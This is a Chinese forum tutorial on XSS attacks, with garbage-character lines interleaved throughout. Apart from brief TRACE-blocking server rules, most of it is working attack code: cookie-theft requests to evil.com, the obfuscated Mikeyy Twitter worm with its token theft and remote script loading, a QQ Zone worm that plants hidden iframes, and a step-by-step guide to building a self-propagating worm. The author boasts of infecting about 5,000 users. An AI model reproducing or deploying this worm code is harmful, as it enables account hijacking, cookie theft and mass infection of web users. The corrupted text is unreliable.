' u" k/ Z; W+ R4 ~2 Y  L4 X
RewriteEngine On
9 r3 J' i: \3 [& G
8 {4 F' b& S& Z4 J8 f$ X5 ]RewriteCond %{REQUEST_METHOD} ^TRACE
! R2 j# X3 s8 }% d+ J5 I
2 r- l' c0 w& {* m0 y$ n5 J9 ?RewriteRule .* - [F]


$ B. C' F  k3 D
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
3 P) Q( u5 x1 Q0 T& S
+ }8 s. ]% X' Bacl TRACE method TRACE
6 I% T; w3 Y: b* P0 K0 m
...

2 `5 M; x3 g; \) X2 F. vhttp_access deny TRACE
: F# i8 Z( }& u- W9 Q0 H4 y复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
; w! h4 k/ v! F% L. `1 |
# u1 x* P5 ^1 y% V" h$ S. Pvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);

0 z6 c2 C+ M( ], q) P0 n, {. v% ]XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
- ]) V- {. W. L6 `5 M' p0 C" e
8 C, \. h0 ]3 m& VXmlHttp.send(null);

</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
0 D8 T) }) ^% f' b3 R
# v$ V. t  }4 R& I7 d; d; B; |var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

; l6 W$ p% z) q0 X- E5 m6 G

XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);

<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
第一版:
+ X/ X' k  ?& O5 O+ n! j& a5 t  下载 (5.1 KB)

6 天前 08:27
& }2 L& j) P% S/ H& o& Q
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
2 t1 q7 v7 T! ~9 c+ g
- Y; v2 W2 ~. H; i/ M   2.   
8 j+ ^, O: T2 C+ v; T0 p
   3. function XHConn(){  

1 }( j) I1 B, ]* o) e   4.   var _0x6687x2,_0x6687x3=false;  
9 c# n4 U! q2 v6 N- ^& g
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
) N9 U0 C2 L- Z" w! g- D! X
9 D" \% Q3 J3 U5 Z1 J, b" `   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
6 Q: M! u$ j+ R8 \
- v4 o' G) y1 ]8 m2 ?7 Q# N8 P! `   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
, z1 u: l6 c! x: a
   2.   var content = document.documentElement.innerHTML;  
$ m8 K6 I" h! e$ j' b
   3.   var tmp_cookie=document.cookie;  

1 V& d/ e' Z8 b   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

" M' V" ?2 h' g/ A" y; _4 ~   6.   var authtoken=authreg.exec(content);  
. p3 B2 W0 V# J2 P
  {1 a9 G: _1 g1 ]8 F  @  d   7.   var authtoken=authtoken[1];  
+ j2 }9 M$ x( G: t9 x6 R* N
   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
2 C# J0 D( g/ @5 t
2 i6 i; b: j: u1 |  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
5 p, F6 t2 {; `, A
  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
4 |: p6 t  ~$ R2 E+ _/ P# D
3 H& V4 L/ y/ k) N2 s  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

, T0 W- |4 K7 J3 X  @  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
  {& h- q8 k* [2 U& S
& y4 F! v) `* M) m3 a  v8 z  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
2 c8 y( `2 l% S1 G$ w
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
' l( B2 ]2 n, |3 b/ d% Q
4 t: O( ]& q# U8 ^/ ^& p4 L  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
0 L- r8 `4 d3 q- [% C" N
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
/ s) ^$ k1 Z4 U' F' V
! g4 }( H- B5 h. {  24.     

( E  f$ \1 O4 d5 g- c( d  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

6 h# b0 c, W) g0 Y+ J  27.     

  28.   var ajaxConn= new XHConn();  
1 G8 w1 K2 d5 x) {8 S7 O& a
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
( d2 i4 H, s; L  ~; B, u* W+ `
  30.   var _0xf81bx1c="Mikeyy";  
! Z3 ~/ U5 m1 P" p$ Q( O
  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
4 W' u3 v. I) g% K& C' l8 s
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
$ F: ?& W1 Y9 Z( x! r4 j
  35.   var XSS=urlencode(genXSS);  
! A: Z% i5 S+ j1 ]
  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

7 F. \( |. L1 k+ |* P  38.     

  39. } ;  

4 ^$ G# b3 a6 Z  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;
5 K0 J  Y# G, U2 Y0 c7 x& M! `

1 G1 g$ q$ a+ N# t7 Z
var shendu;shendu=4;

//---------------global---v------------------------------------------
0 Q% p" e$ k- e" ?" b! Z
: z0 A. b% V# Q6 h, Q$ T/ F3 d' ^//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
& E4 d: R2 \. V) C/ i! u& a
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
9 X9 \) ?& ^0 _6 N
7 ^( z& c; F8 T) b  k, k( S, k. P! [var myblogurl=new Array();var myblogid=new Array();
1 l6 s6 Z' K; {9 ?# V; G/ z8 J
        var gurl=document.location.href;
. S9 {, E$ T1 B% N7 X
        var gurle=gurl.indexOf("com/");
$ ^8 }0 H' N/ [& d# j# j
3 F2 U/ r, ~1 T0 d' h: [) C        gurl=gurl.substring(0,gurle+3);        

% U/ `7 K0 T% N        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");
" v" J5 |6 x$ Q& k1 b# P
        visitorID=visitorID.substring(cookieS+14);

; c+ j, p. D0 L7 f4 M        cookieS=visitorID.indexOf(",");
7 K0 G' E& S& ^/ \, g
( O* b; ]+ I7 ?# P/ G        visitorID=visitorID.substring(0,cookieS);
6 V9 e; K2 ^: G+ N# N; k9 j
; U' q9 R1 }% y5 U; d; Q. [        get_my_blog(visitorID);

. r3 e$ M6 S1 P        DOshuamy();
2 w7 d5 B5 ~9 n  O2 I5 f& U

, ?) Y" R1 ]/ u& ~5 w% F4 Q
7 p5 O' L3 W) J. S//挂马

1 o( A% Q8 n4 N) n0 `) n* y  Z, ?function DOshuamy(){

var ssr=document.getElementById("veryTitle");
" T0 _# v& {* l/ o1 R' P! v
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
( s+ B, N2 M- c9 \
$ T9 b- H' J' C6 ~' ]}

) U1 ?# ^1 ^" B! Z
; J1 J( y. [5 V
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
# T# k: }  k3 ~" x: h+ M
function get_my_blog(visitorID){
) q# b# k: c0 u+ u* m" z' A
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
2 l# \' C( P3 K- u, d- i
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
5 N) y; J( q8 }. a9 J
" {& a1 H, f1 a' {3 O- Y   if(xhr){    //成功就执行下面的
+ h6 L8 j: ]0 |" C" W% }0 I: i
9 W/ ^0 B( V3 H( `) g     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;
+ m5 \' g* u9 p5 h0 R/ j: m
     get_my_blogurl(guest);    //执行这个函数
2 o/ r( t5 x; J8 L" m/ `
    }
5 H* p9 \0 d' ]- O6 z+ w; D  K* D
, J: M' b8 N% g$ a}
8 H8 i5 b0 m; d3 w- o
9 _: ?  o0 I" g! U" D% I$ l$ V5 A
* d& g' L$ N6 v  \
//这里似乎是判断没有登录的

function get_my_blogurl(guest){
; P; Y9 x; Y( m
7 {. g0 x& K0 E; ?' v- g  var mybloglist=guest;
4 N* @4 K& G' M1 X: d) q% t
  var myurls;var blogids;var blogide;
) _# J4 Y5 Q. z$ a
" M: R. A0 @9 G. Q) O5 d9 |- g( U4 v  for(i=0;i<shendu;i++){
) z4 m7 y! a, M9 j
$ F  p% A% R( |5 v' C     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
5 i3 C3 m+ m: Q1 i
0 [* L# u& E  X2 h* ]9 f     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);
  _1 K1 q" `( x8 G' N1 e% L
         myurls=mybloglist.indexOf(')');
2 g! j! ^) ?# J6 J9 j
         myblogid=mybloglist.substring(0,myurls);
! h& j  m6 Y, o& z% I8 W  i: F
- h; A" u8 _7 o* \        }else{break;}
# m2 G3 a) n$ c) p
& z/ \: A+ q; Z' k1 \! |6 g7 H6 }}

+ x4 U4 m/ C$ }3 |get_my_testself();    //执行这个函数
0 v5 h: r8 d& x; _
- T3 C: D& R6 b8 h$ g) y$ U}
5 f+ @$ `# g+ A( I- S+ C9 `
) R! |7 _- U* g3 K4 S; T" F
8 F. v% `& Z  |4 D0 x; [
//这里往哪跳就不知道了

function get_my_testself(){
  e2 S/ L1 n% }1 R' J) v
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
( F8 V3 _& ?7 J
& I8 L( ^+ ^* u" _      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

& H# B- P" A. w4 C" K" [      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
* {& }: _6 `( L6 @4 j1 I
      if(xhr2){        //如果成功
2 N( I2 E- ?0 ~4 e
              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();

              guest2=xhr2.responseText;
3 z, i0 \3 i/ Y$ a7 ?! Z
# {( Q$ ]& C2 x% N, _' ]6 Y, Q              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

# ~: ~1 r6 z8 N              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

5 ?1 E  F' A! L: `. ^                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;

: C7 I  y# @: l; i- C) _               }
) ~! q4 r5 x, x7 Q; I1 I% Y
& ^( f  j' |" s% u              if(mycheckit=="-1"){

                targetblogurlid=myblogid;
2 @8 l$ i6 n( g! F; w7 Q
- y; t) ~$ J8 e  ?$ |6 Q$ I                add_js(visitorID,targetblogurlid,gurl);    //执行它

) }+ x+ V2 T( I/ S% i8 [) E! A/ r7 u! ~                break;
- R# Y6 Q: r/ X* I! Y
! e2 B1 ?+ J; S/ g) T" N) |6 j               }

        }      

  ]2 u+ `! C* D+ b}

}
! s9 q& w2 E  C3 |  o
1 r7 o. A) @+ P- J: T
+ d- o( r- Y& M
4 Y  j: s1 ~1 u& p5 n6 n//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){

+ L9 N5 n  J, b$ k# H0 i7 q4 ~    var XMLhttpObject=null;  

+ R0 q/ f- h! j    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  

, U4 v& v- ^* _6 \      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

6 ]2 ^, h- d$ ^        for(var i=0;i<MSXML.length;i++)  
7 D, R; j: M" J6 m, g
( P: H8 F' P9 }, q" m        {  
+ n$ o' S0 z2 l" g: C& Q# j
            try  

            {  
5 x! M$ n8 X( O8 _
                XMLhttpObject=new ActiveXObject(MSXML);  
9 i; M2 M! n* _. y5 x! t
: e( F  q1 A8 P, x( h                break;  
/ g5 G/ s# ~+ U9 u
            }  

- G  A9 F5 l# i- t- m; a            catch (ex) {  

            }  
+ b$ B2 f& b$ H: c5 Z
         }  

4 f. e0 F) e9 z+ \      }
% W9 z  r: ]- h2 v9 u
return XMLhttpObject;

}  


9 s4 ]3 M& A& |9 q' u9 A5 D- Y
* I0 r3 G! _* d//这里就是感染部分了

  ^& w+ f. H. Y1 U4 v4 dfunction add_js(visitorID,targetblogurlid,gurl){
) u1 I2 ?( b0 `( f* L
. y! Y# u9 Y- c* K8 ?var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

8 W2 B5 b' H6 }5 Q1 K- f6 R$ Gs2.type='text/javascript';
7 {7 k3 n2 V9 h7 x* s: _9 V5 a
document.getElementsByTagName('head').item(0).appendChild(s2);

6 k/ o4 L3 d$ ?! S8 x9 L# u! `' p% a+ Z}
. s1 a( t( y( ~# u% V- T; z9 S


/ j! G& c8 V, P% l5 X* V9 ]" wfunction add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
7 \" w( V8 Z3 }# X6 E
. e7 q) s& h( }3 ?- w, S0 \s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
  P6 M6 r1 D# r
* Z! l6 ^5 v  W7 Ms2.type='text/javascript';
! e" v0 |) M5 ~4 ^( o' F
& D4 n. G, a9 r" S7 z: Hdocument.getElementsByTagName('head').item(0).appendChild(s2);

% R" u0 _- k. b) e}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

: M. m( |% e# Q/ h( @3 j2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
! s. C! j$ {  b; ~- c$ z" ?% K
! D  \$ g; d5 f% [8 f% w- K' l; V综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
5 d6 A9 m- t2 y+ r& J1 U* k. ~
" V$ g: Q9 A' s; m
& k' j4 M: [6 i, Q# A6 [下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {

- o& p4 L7 B/ L; e. `request = new XMLHttpRequest();

- w9 z: o+ _5 i/ lif(request.overrideMimeType) {
5 G, n$ w! M. R  N0 T
$ J6 Y, w' U. b* b, K& m; u+ mrequest.overrideMimeType('text/xml');

}

. y! m2 k, \$ Q+ c: x' `) U" O} else if(window.ActiveXObject) {

3 B8 x2 @2 T& y; Tvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

4 k8 G3 ]* Q& l0 V7 b* z. w+ J  i1 ufor(var i=0; i<versions.length; i++) {
, U. O5 I! }9 F$ b( H0 c
3 n* U( p+ z+ Y- M) T/ Mtry {
9 ?) x  P6 [" r0 E: i1 g
request = new ActiveXObject(versions);

/ w+ X+ L- ~* D1 i( ^  }" q* P& ]+ {# f} catch(e) {}
+ D0 Q9 I7 y- {
0 V6 }: H5 P+ F- ?& A}
+ C) s) F/ I$ n8 z. Y
  j( q+ m0 D$ f% ?  D}

xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;

# J$ \+ I- f; r& ~! S, j9 t        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;
, L6 _; @; T5 ?- k' Q# L& T  c
3 D. Y0 t$ ~" G  Z2 k# }8 X! t        

6 m2 S' Q$ k- N7 v        var Actual_Version,Actual_Name;

        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

* E- Y$ p+ ^/ I: X        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");

        
+ `2 j5 t! e* l8 z
        if(is_NN){

: n+ o: }1 q) b0 e            if(Browser_Version>=5.0){
. j5 H$ {4 C" l1 ]% |/ a
                var Split_Sign=Browser_Agent.lastIndexOf("/");

) U* K! ~* b' e) L5 P                var Version=Browser_Agent.indexOf(" ",Split_Sign);
. S5 R- K7 J% |/ b; L
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);



' B: e# Q7 q2 x! ~0 E9 t3 _  @" i+ k                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
! \7 O8 f" @3 O0 G( e
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
0 T. N! f0 o; R; q
            }
7 S& Z8 d2 Z+ \, ]
            else{

                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;

. l& M( K! D) @$ _: x/ ^6 `            }
6 K  S" m& w1 o" V( S
! m2 J5 E7 u) D/ m8 O/ |$ Y5 _        }
. c' Z5 e- U. T; |' P: N
        else if(is_IE){

1 R1 P' W. M& }            var Version_Start=Browser_Agent.indexOf("MSIE");
+ H: |$ b/ B# v" r
* f2 ^, e' e/ Z7 x2 k            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

: R" e! ~. k% |            Actual_Name=Browser_Name;

$ m0 W8 `# c- b# T- F2 `            

3 G7 \  f1 B, T! S2 p- Z% T' F            if(Browser_Agent.indexOf("Maxthon")!=-1){

4 f$ Q3 ~# i* d2 A                Actual_Name+="(Maxthon)";

. Z7 y4 V& g( T# j4 E            }
& u! a8 s# R3 I& T
, n, i/ H6 `2 A/ w/ d: E            else if(Browser_Agent.indexOf("Opera")!=-1){
1 ~& c: b0 K2 L( l& P; T3 t( s
                Actual_Name="Opera";

4 _+ [# b9 I% p  m* Z9 A  L7 F* E                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

" T4 F0 V2 Z0 U! I( T            }

        }

" ]9 M( {% G- A/ V6 P0 p. h7 d% n6 c9 d        else if(is_Ch){

' c. E& k9 R* W$ ^/ ~            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
7 Z8 Q; v6 N0 P1 z4 @0 _% k! t( T
( z8 S6 ]- B# g, O            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
& u1 e( F3 w8 `4 E
! W0 ^1 @9 l, P9 d0 B* f            Actual_Name=Browser_Name;

- |/ {6 i) U6 F- ]0 W$ U+ `            

$ n- P2 |: F3 Z9 P( Z% f* A            if(Browser_Agent.indexOf("Maxthon")!=-1){
+ f6 C, s/ L  {8 K
                Actual_Name+="(Maxthon)";
; z: t1 D: l8 f. P0 J
            }
7 ]. K$ R3 X; m: y9 W: l3 O( E( a
            else if(Browser_Agent.indexOf("Opera")!=-1){
: B4 L/ y7 g9 Q+ \5 G$ y$ I
                Actual_Name="Opera";
. l1 F- X7 T4 P  M
6 o. }8 k. D% a0 P7 ?                var tempstart=Browser_Agent.indexOf("Opera");

, [0 C3 a# j% w/ o% M                var tempend=Browser_Agent.length;

% h0 b: Q0 Z& ?' S                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

. C/ {8 s' G0 C: {  ^1 _! M            }

        }

* ]" w! u% G+ n6 ?! R: Z; y- ~        else{

            Actual_Name="Unknown Navigator"

9 `) S; I2 n' w/ `( f            Actual_Version="Unknown Version"

        }
$ t! c+ s1 _" c* }


+ Q4 n0 ]/ l. M  t3 \        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;
/ W. E) v* C# f
        
5 r$ U. Y3 ?( k& m
        this.Name=Actual_Name;
9 w) N) j# v# \, k: X7 h
/ }& ~9 l/ c/ G3 w+ {( l( E' ~4 S" B        this.Version=Actual_Version;
5 r' m0 i& k( s% {! c
    }

    browserinfo();
0 O0 ~5 j2 i3 v& }% B8 v7 ~! E/ k
8 a; t6 V5 j. k( K! X7 v    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
0 K+ F' r, H( D" X6 j' T% G8 x
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
- `9 f* _5 K4 d# P3 C! o& f  ?
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

# ~8 }5 U6 {, d" q) i4 D. i# J2 m    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
/ p' o. K% u5 w( w. C; {. l复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
( v* l2 C5 J0 y  ?复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

! G' M* }0 i) z3 S/ Z( axmlHttpReq.send(null);

  p2 e* ~8 H# s1 ~/ P% Y2 {var resource = xmlHttpReq.responseText;
, Z, z1 F) C; I. A, k
8 [6 Z. D$ ?; }) m& S' kvar id=0;var result;
5 {4 ^! M- f  [1 U+ I5 w
" r; c  g3 J1 f; \var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
; o: |" h+ j: p- ?
while ((result = patt.exec(resource)) != null)  {
% l: U, l% }3 J% [
id++;

! @. Z- C* W; z: ~$ P/ h7 s}
7 v2 [+ Q% k: N4 q+ a9 _  L  q复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
3 ~0 G: r# L* W0 W
no=resource.search(/my name is/);
& y# R0 u6 O* f, q7 U4 J
% S# Y' v4 @4 O! G; c. t8 ?var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

5 @9 d  T1 L" j7 B" d( n6 Ivar post="wd="+wd;
5 x% i. N- C/ @& I6 }9 B( Z5 s) t& b# W
% V+ i- @; h1 g$ p  o" N" N- XxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
+ [6 v; w9 c; a! S
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
$ |; y' }" F; g0 U1 E  i: n# r
xmlHttpReq.setRequestHeader("content-length",post.length);
8 m: J4 v$ j  X' D$ `
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

7 B9 a0 w0 M% e1 R% s. N# H) r& o6 p}
  O% l' n$ m2 J! S- S& I复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
* A# o, y: J" h5 Z0 G
2 |3 A8 L2 ]0 k! m9 E  {1 P3 `var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;

' V8 ~  m3 k' VxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

. ?0 B  D4 M4 o1 rxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
6 l. T7 ?- k8 H% k3 T
& r! @; Q" ^. L3 A* v6 wxmlHttpReq.setRequestHeader("content-length",post.length);
. Z+ g# `% q! _9 D' F) |+ _
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

; {/ r' T9 u3 oxmlHttpReq.send(post);                 //把传播的信息 POST出去.

/ x& i! r- e8 t, B- y# i: ]* R}
+ G9 H' A& ^5 Y% a3 T7 X复制代码-----------------------------------------------------总结-------------------------------------------------------------------
7 s6 C( c2 r- A9 \" x  O* C
* w/ z( ]( d& P( u4 u1 ^- [

: {- u9 G! j& ]# x& u0 T本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
